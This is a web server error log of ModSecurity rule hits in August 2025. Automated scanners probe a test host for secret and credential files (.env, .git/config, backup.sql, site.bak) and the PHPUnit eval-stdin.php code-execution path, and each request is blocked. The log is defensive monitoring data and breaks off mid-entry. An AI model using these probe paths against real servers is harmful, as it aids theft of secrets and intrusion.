[Wed Aug 06 12:48:14.831640 2025] [:error] [pid 1739923] [client 194.233.83.146:57267] [client 194.233.83.146] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aJMy7pERHHVHFW4wTjHXNgAAAAE&quot;]
[Wed Aug 06 12:48:14.831915 2025] [:error] [pid 1739923] [client 194.233.83.146:57267] [client 194.233.83.146] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aJMy7pERHHVHFW4wTjHXNgAAAAE&quot;]
[Wed Aug 06 12:48:14.832142 2025] [:error] [pid 1739923] [client 194.233.83.146:57267] [client 194.233.83.146] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aJMy7pERHHVHFW4wTjHXNgAAAAE&quot;]
[Wed Aug 06 12:48:22.825430 2025] [:error] [pid 1739925] [client 194.233.83.146:57334] [client 194.233.83.146] ModSecurity: Warning. Match of &quot;rx ^0?$&quot; against &quot;REQUEST_HEADERS:Content-Length&quot; required. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;177&quot;] [id &quot;920170&quot;] [msg &quot;GET or HEAD Request with Body Content.&quot;] [data &quot;19&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ&quot;] [tag &quot;CAPEC-272&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php&quot;] [unique_id &quot;aJMy9lJbmk9kSAGhb9lJEQAAAAM&quot;]
[Wed Aug 06 12:48:22.825499 2025] [:error] [pid 1739925] [client 194.233.83.146:57334] [client 194.233.83.146] ModSecurity: Warning. Operator EQ matched 0 at REQUEST_HEADERS. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;662&quot;] [id &quot;920340&quot;] [msg &quot;Request Containing Content, but Missing Content-Type header&quot;] [severity &quot;NOTICE&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php&quot;] [unique_id &quot;aJMy9lJbmk9kSAGhb9lJEQAAAAM&quot;]
[Wed Aug 06 12:48:22.825879 2025] [:error] [pid 1739925] [client 194.233.83.146:57334] [client 194.233.83.146] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 7)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php&quot;] [unique_id &quot;aJMy9lJbmk9kSAGhb9lJEQAAAAM&quot;]
[Wed Aug 06 12:48:22.826063 2025] [:error] [pid 1739925] [client 194.233.83.146:57334] [client 194.233.83.146] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 7 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 7, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php&quot;] [unique_id &quot;aJMy9lJbmk9kSAGhb9lJEQAAAAM&quot;]
[Thu Aug 07 00:21:48.256629 2025] [:error] [pid 1763540] [client 185.177.72.36:60276] [client 185.177.72.36] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aJPVfAkf0aAf1bp04r46fAAAAAA&quot;]
[Thu Aug 07 00:21:48.256868 2025] [:error] [pid 1763540] [client 185.177.72.36:60276] [client 185.177.72.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aJPVfAkf0aAf1bp04r46fAAAAAA&quot;]
[Thu Aug 07 00:21:48.257048 2025] [:error] [pid 1763540] [client 185.177.72.36:60276] [client 185.177.72.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aJPVfAkf0aAf1bp04r46fAAAAAA&quot;]
[Thu Aug 07 00:21:49.061057 2025] [:error] [pid 1763574] [client 185.177.72.36:60278] [client 185.177.72.36] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aJPVfRQShP8MxU69aJC9vAAAAAM&quot;]
[Thu Aug 07 00:21:49.061278 2025] [:error] [pid 1763574] [client 185.177.72.36:60278] [client 185.177.72.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aJPVfRQShP8MxU69aJC9vAAAAAM&quot;]
[Thu Aug 07 00:21:49.061469 2025] [:error] [pid 1763574] [client 185.177.72.36:60278] [client 185.177.72.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aJPVfRQShP8MxU69aJC9vAAAAAM&quot;]
[Thu Aug 07 00:21:49.084702 2025] [:error] [pid 1763574] [client 185.177.72.36:60278] [client 185.177.72.36] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aJPVfRQShP8MxU69aJC9vQAAAAM&quot;]
[Thu Aug 07 00:21:49.084928 2025] [:error] [pid 1763574] [client 185.177.72.36:60278] [client 185.177.72.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aJPVfRQShP8MxU69aJC9vQAAAAM&quot;]
[Thu Aug 07 00:21:49.085107 2025] [:error] [pid 1763574] [client 185.177.72.36:60278] [client 185.177.72.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aJPVfRQShP8MxU69aJC9vQAAAAM&quot;]
[Thu Aug 07 00:21:49.109623 2025] [:error] [pid 1763574] [client 185.177.72.36:60278] [client 185.177.72.36] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /config/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env&quot;] [unique_id &quot;aJPVfRQShP8MxU69aJC9vgAAAAM&quot;]
[Thu Aug 07 00:21:49.109841 2025] [:error] [pid 1763574] [client 185.177.72.36:60278] [client 185.177.72.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env&quot;] [unique_id &quot;aJPVfRQShP8MxU69aJC9vgAAAAM&quot;]
[Thu Aug 07 00:21:49.110026 2025] [:error] [pid 1763574] [client 185.177.72.36:60278] [client 185.177.72.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env&quot;] [unique_id &quot;aJPVfRQShP8MxU69aJC9vgAAAAM&quot;]
[Sun Aug 10 19:02:44.331346 2025] [:error] [pid 1839637] [client 3.84.178.235:44756] [client 3.84.178.235] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aJjQtO81dc7fnjUixxDs5AAAAAM&quot;]
[Sun Aug 10 19:02:44.332966 2025] [:error] [pid 1839637] [client 3.84.178.235:44756] [client 3.84.178.235] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aJjQtO81dc7fnjUixxDs5AAAAAM&quot;]
[Sun Aug 10 19:02:44.333160 2025] [:error] [pid 1839637] [client 3.84.178.235:44756] [client 3.84.178.235] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aJjQtO81dc7fnjUixxDs5AAAAAM&quot;]
[Mon Aug 11 19:21:40.325192 2025] [:error] [pid 1876153] [client 195.178.110.75:43944] [client 195.178.110.75] ModSecurity: Warning. Matched phrase &quot;/.DS_Store&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.DS_Store found within REQUEST_FILENAME: /.ds_store&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.DS_Store&quot;] [unique_id &quot;aJompMmx4Op1e3lrob_2mgAAABE&quot;], referer: http://pms.test.indacotrentino.com/.DS_Store
[Mon Aug 11 19:21:40.325493 2025] [:error] [pid 1876153] [client 195.178.110.75:43944] [client 195.178.110.75] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.DS_Store&quot;] [unique_id &quot;aJompMmx4Op1e3lrob_2mgAAABE&quot;], referer: http://pms.test.indacotrentino.com/.DS_Store
[Mon Aug 11 19:21:40.325673 2025] [:error] [pid 1876153] [client 195.178.110.75:43944] [client 195.178.110.75] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.DS_Store&quot;] [unique_id &quot;aJompMmx4Op1e3lrob_2mgAAABE&quot;], referer: http://pms.test.indacotrentino.com/.DS_Store
[Tue Aug 12 14:28:25.099408 2025] [:error] [pid 1898594] [client 213.209.143.116:41162] [client 213.209.143.116] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aJszaatLnEFFpEMLhCE2vQAAAAg&quot;], referer: http://pms.test.indacotrentino.com/.env
[Tue Aug 12 14:28:25.100407 2025] [:error] [pid 1898594] [client 213.209.143.116:41162] [client 213.209.143.116] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aJszaatLnEFFpEMLhCE2vQAAAAg&quot;], referer: http://pms.test.indacotrentino.com/.env
[Tue Aug 12 14:28:25.100635 2025] [:error] [pid 1898594] [client 213.209.143.116:41162] [client 213.209.143.116] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aJszaatLnEFFpEMLhCE2vQAAAAg&quot;], referer: http://pms.test.indacotrentino.com/.env
[Tue Aug 12 14:28:25.407613 2025] [:error] [pid 1891297] [client 213.209.143.116:41174] [client 213.209.143.116] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup.sql&quot;] [unique_id &quot;aJszaRxacyNLUJvTYxfVigAAAAY&quot;], referer: http://pms.test.indacotrentino.com/backup.sql
[Tue Aug 12 14:28:25.407952 2025] [:error] [pid 1891297] [client 213.209.143.116:41174] [client 213.209.143.116] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup.sql&quot;] [unique_id &quot;aJszaRxacyNLUJvTYxfVigAAAAY&quot;], referer: http://pms.test.indacotrentino.com/backup.sql
[Tue Aug 12 14:28:25.408108 2025] [:error] [pid 1891297] [client 213.209.143.116:41174] [client 213.209.143.116] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup.sql&quot;] [unique_id &quot;aJszaRxacyNLUJvTYxfVigAAAAY&quot;], referer: http://pms.test.indacotrentino.com/backup.sql
[Tue Aug 12 14:28:25.573743 2025] [:error] [pid 1892093] [client 213.209.143.116:41190] [client 213.209.143.116] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site.bak&quot;] [unique_id 